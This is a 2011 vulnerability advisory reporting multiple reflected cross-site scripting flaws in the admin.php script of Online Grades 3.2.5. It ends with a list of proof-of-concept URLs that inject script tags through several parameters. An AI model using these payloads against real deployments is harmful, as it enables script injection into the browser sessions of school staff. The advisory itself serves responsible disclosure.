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Online Grades 3.2.5 Multiple XSS Vulnerabilities

🗓️ 25 Jul 2011 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 14 Views

Online Grades 3.2.5 Multiple XSS Vulnerabilities in 'admin.php' script allow arbitrary HTML code execution

Code
<html><body><p>Online Grades 3.2.5 Multiple XSS Vulnerabilites


Vendor: Online Grades Project Team
Product web page: http://www.onlinegrades.org
Affected version: 3.2.5

Summary: Online Grades is the leading free-software project
that allows K-12+ student grades attendance information to
be posted onto a dynamic web site.

Desc: Online Grades suffers from multiple cross-site scripting
vulns. The issue is triggered when input passed via multiple
parameters to the 'admin/admin.php' script is not properly
sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5029
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5029.php


22.07.2011


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http://localhost/admin/admin.php?func=1"&gt;<script>alert(1)</script>&amp;skin=classic
http://localhost/admin/admin.php?func=0&amp;skin=1"&gt;<script>alert(1)</script>
http://localhost/admin/admin.php?func=0&amp;todo=1"&gt;<script>alert(1)</script>
http://localhost/admin/admin.php?func=0&amp;what=1"&gt;<script>alert(1)</script>&amp;who=Faculty
http://localhost/admin/admin.php?func=0&amp;what=mail&amp;who=1"&gt;<script>alert(1)</script>
http://localhost/admin/admin.php/&gt;"&gt;<script>alert(1)</script></p></body></html>

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